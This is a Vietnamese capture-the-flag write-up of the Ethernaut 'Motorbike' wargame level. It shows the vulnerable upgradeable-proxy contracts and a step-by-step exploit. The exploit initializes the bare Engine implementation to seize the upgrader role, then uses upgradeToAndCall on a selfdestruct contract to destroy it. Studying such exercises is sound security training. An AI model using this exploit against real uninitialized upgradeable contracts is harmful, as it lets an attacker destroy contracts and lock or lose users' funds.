25. Motorbike
Nhiệm vụ: Phá hỏng engine của chiếc xe máy.
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
Phân tích
- Khuyến khích bạn đọc nên tìm hiểu về
Upgradeable Pattern
& hiểu rõdelegatecall
trước khi bắt đầu. - Ở đây ta lại có một đề bài gây lú nữa: phá hỏng engine là phá hỏng bản thân contract
Motorbike
(doMotorbike
là contract proxy cònEngine
chỉ là contract implement) hay là phá hỏng chính contractEngine
? Và bài toán đúng là phá hỏng contractEngine
. Ban đầu mình hiểu nhầm là phá hỏng contractMotorbike
- dẫn đến mất rất nhiều công mày mò và nhận ra rằng mình đã hiểu sai một đề bài khó hiểu. - Ta thấy rằng contract
Engine
được implement theoInitializable
, có nghĩa là hàminitialize()
sẽ chỉ được gọi một lần mà thôi. Do đó nếu ta thửcontract.initialize()
thì sẽ gặp lỗi ngay, vì nó đã được gọi 1 lần khi deploy rồi. Nhưng đây chính là trick của bài này, và cũng chính là trick đối với upgradeable contract. - Ta gặp lỗi khi gọi
contract.initialize()
, đó là do ta đang đứng ở vị trí củaMotorbike
, tức proxy gọi đến implement làEngine
thông quadelegatecall
. Chứ không phải bản thân contractEngine
gọi đến nó. Có nghĩa là contractEngine
chưa thực hiện bất cứ lời gọi nào cả.
Ta có solution như sau:
- Tìm địa chỉ của contract
Engine
và load contract lên Remix. - gọi
initialize
để thay đổi upgrader - chuẩn bị một contract khác có hàm gọi
selfdestruct
để hủy contract. - upgrade engine lên contract đó và gọi hàm để hủy contract.
Solution
- tìm địa chỉ của
Engine
tại_IMPLEMENTATION_SLOT
của proxy
await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc');
> '0x000000000000000000000000132a41a07d074fb9dcedd88088e7871be335e1e9'
-
ở đây contract của
Engine
chính là0x132a41a07d074fb9dcedd88088e7871be335e1e9
-
load contract lên Remix và gọi hàm
initialize
, sau đó kiểm tra xem upgrader là mình hay chưa
- Chuẩn bị contract
Rekt
như sau và deploy
contract Rekt {
function boom() external {
selfdestruct(tx.origin);
}
}
- để gọi hàm
boom
từ lowlevel call, ta cần convert nó sang dạng function signature
web3.eth.abi.encodeFunctionSignature("boom()");
> '0xa169ce09'
- quay lại Remix và gọi hàm
upgradeToAndCall
- Engine đã đươc phá hủy, submit & all done!